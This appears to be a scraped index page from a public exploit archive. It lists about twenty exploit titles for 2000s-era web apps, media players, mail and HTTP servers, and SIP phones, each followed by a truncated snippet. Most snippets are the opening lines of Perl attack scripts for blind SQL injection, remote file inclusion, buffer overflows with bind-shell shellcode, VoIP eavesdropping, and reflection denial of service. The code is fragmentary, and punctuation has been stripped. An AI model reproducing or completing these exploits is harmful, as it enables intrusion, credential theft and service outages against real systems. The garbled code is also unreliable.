Ajax File Browser 3b (settings.inc.php approot) RFI Vulnerability

Exploit for unknown platform in category web applications ================================================================= Ajax File Browser 3b settings.inc.php approot RFI Vulnerability ================================================================= Ajax File Browser 3 Beta Remote File...

Apple Quicktime < 7.2 SMIL Remote Integer Overflow PoC

No description provided by source. ---------------------------------------------------------------------- ATTACK VECTORS ---------------------------------------------------------------------- This vulnerability can be triggered by luring a target user into...

Apple QuickTime < 7.2 - SMIL Remote Integer Overflow

---------------------------------------------------------------------- ATTACK VECTORS ---------------------------------------------------------------------- This vulnerability can be triggered by luring a target user into running a malicious SMIL file locally or via a webpage. In the later scenar...

ABC estore 3.0 (cat_id) Remote Blind SQL Injection Exploit

No description provided by source. !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print "\n |-------------------------------------------------|"; print "\n | newhackdotorg |"; print "\n |-------------------------------------------------|"; print "\n | ABC estore 3.0 catid Blind SQ...

SunShop 4.0 RC 6 (search) Remote Blind SQL Injection Exploit

No description provided by source. !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print "\n \'/ "; print "\n -.- "; print "\n -----------------oOO------OOo------------------"; print "\n | SunShop v4.0 RC 6 search Blind SQL Injection |"; print "\n | k1tk4t - Indonesia -...

Exploits Remote eavesdropping with SIP Phone GXV-3000

No description provided by source. !/usr/bin/perl use IO::Socket::INET; die "Usage $0 dst port username src port username" unless $ARGV5; $socket=new IO::Socket::INET-new Proto='udp', LocalPort = $ARGV4, PeerPort=$ARGV1, PeerAddr=$ARGV0; $sdp= "v=0\r o=username 0 0 IN IP4 $ARGV3\r s=The Funky...

Cisco IP Phone 7940 (10 SIP messages) Remote Denial of Service Exploit

No description provided by source. !/usr/bin/perl use IO::Socket::INET; die "Usage $0 dst-address dst-port dstusername src-address" unless $ARGV3; $socket=new IO::Socket::INET-newPeerPort=$ARGV1, Proto='udp', PeerAddr=$ARGV0; ...

Cisco IP Phone 7940 (3 SIP messages) Remote Denial of Service Exploit

Exploit for hardware platform in category dos / poc ===================================================================== Cisco IP Phone 7940 3 SIP messages Remote Denial of Service Exploit ===================================================================== !/usr/bin/perl use IO::Socket::INET;...

Savant 3.1 Get Request Remote Overflow Exploit (Universal)

No description provided by source. !/usr/bin/perl -w exploit for Savant webserver 3.1 remote bof shellcode bind 4444 port on target host Jacopo cervini aka [email protected] use IO::Socket; if!$ARGV1 print "Uso: savant-3.1.pl victim port\n\n"; exit; $victim = IO::Socket::INET-newProto='tcp',...

pabugs-sql.txt

!/usr/bin/perl use LWP::UserAgent; use HTTP::Cookies; if@ARGV get$sql or err; $res - content = /0-9,a-f32/ or err; print "\n + Admin Passwordmd5=$usid is: $1 \n\n"; sub usage print "---------------------------------------------------------\n"; print "| Bug Found by: umpi |\n"; print...

CrystalPlayer 1.98 - .mls Local Buffer Overflow

CrystalPlayer 1.98 - .mls Local Buffer Overflow !/usr/bin/perl Crystal Player 1.98 Playlist.mls File Local Buffer Overflow Exploit Source:: http://www.crystalplayer.com/CrystalPro.exe Credit To Timq For The Vulnerability POC By Arham Muhammad While Debugging EIP And EBP Successfully Gets...

IPSwitch IMail Server 2006 9.10 - Subscribe Remote Overflow

!/use/bin/perl Test on Imail 20069.10, imap4d32.exe6.8.8.1, windows 2003 Chinese SP1 Code by yunshu, our team: www.ph4nt0m.org Mail list: http://list.ph4nt0m.org F:\perl imailSUBSCRIBE.pl 192.168.1.2 testuser testpass OK IMAP4 Server IMail 9.10 0 OK LOGIN completed FLAGS \Answered \Flagged \Delet...

printenv-xss.txt

...:::::printenv.plall versions cross site scripting Vulnerability::::.... Virangar Security Team www.virangar.org -------- Discoverd By : hadihadi & black.shadowes special tnx to:MR.nosrati,MR.hesy,satan,IGI,zahra & all virangar members & all iranian hackerz greetz:to my best friend in the world...

jgaa-sql.txt

!/usr/bin/perl You can get admin hash,or acces the pass file from the NIx with the generated strings with the generator.c program you have to put in sql specific comands,my example is for tables and NIX pass exploit tested on winxp sp2 include include include int main char st1024; int le;...

flashbb117-rfi.txt

!/usr/bin/perl Flashbb : coded and f0und3d by kw3rln Romanian Security Team .: hTTp://RSTZONE.NET :. greetz to all RST rstzone.net MEMBERZ use LWP::Simple; print "...........................RST...............................\n"; print ". .\n"; print ". Flashbb hTTp://RSTZONE.NET .\n"; print "...

HTTP SERVER (httpsv) 1.6.2 (GET 404) Remote Denial of Service Exploit

No description provided by source. !/usr/bin/perl GetOpt STD module use IO::Socket; use Getopt::Std; getopts":i:p:",%args; ifdefined $argsi $ip = $argsi; ifdefined $argsp $port = $argsp; if!defined $argsi or !defined $argsp print "-----------------------------------------------------\n"; print...

BugHunter HTTP Server 1.6.2 - httpsv.exe GET 404 Remote Denial of Service

BugHunter HTTP Server 1.6.2 - httpsv.exe GET 404 Remote Denial of Service !/usr/bin/perl GetOpt STD module use IO::Socket; use Getopt::Std; getopts":i:p:",%args; ifdefined $argsi $ip = $argsi; ifdefined $argsp $port = $argsp; if!defined $argsi or !defined $argsp print...

DRDoS - Distributed Reflection Denial of Service

DRDoS - Distributed Reflection Denial of Service !/usr/bin/perl written by whoppix c 2007 This Piece of software may be freely re-distributed under the Terms of the LGPL. for a short usage type ./script --help this program requires: perl, Net::RawIP depends on libpcap, Getopt::Long which should b...

EQdkp <= 1.3.2 (listmembers.php rank) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================================== EQdkp = 1.3.2 listmembers.php rank Remote SQL Injection Exploit ================================================================== !/usr/bin/perl -w EQdkp = 1.3.2 SQL...

Simple Accessible XHTML Online News v4.6 Remote File Include Exploit

""""""""""""""""""""""""""""""""""""""""""""""" """ :: :: ::::: :::: """ """ :: :: :: : :: """ """ :::: :: :: ::::: ::::: :::: """ """ :: :: ::: ::: :: :: :: :: :: """ """ :: :: :: : : ::::: :: :: :::: """ """ """ """"""""""""""""""""""""""""""""""""""""""""""" Xmor$ Security Vulnerability Resear...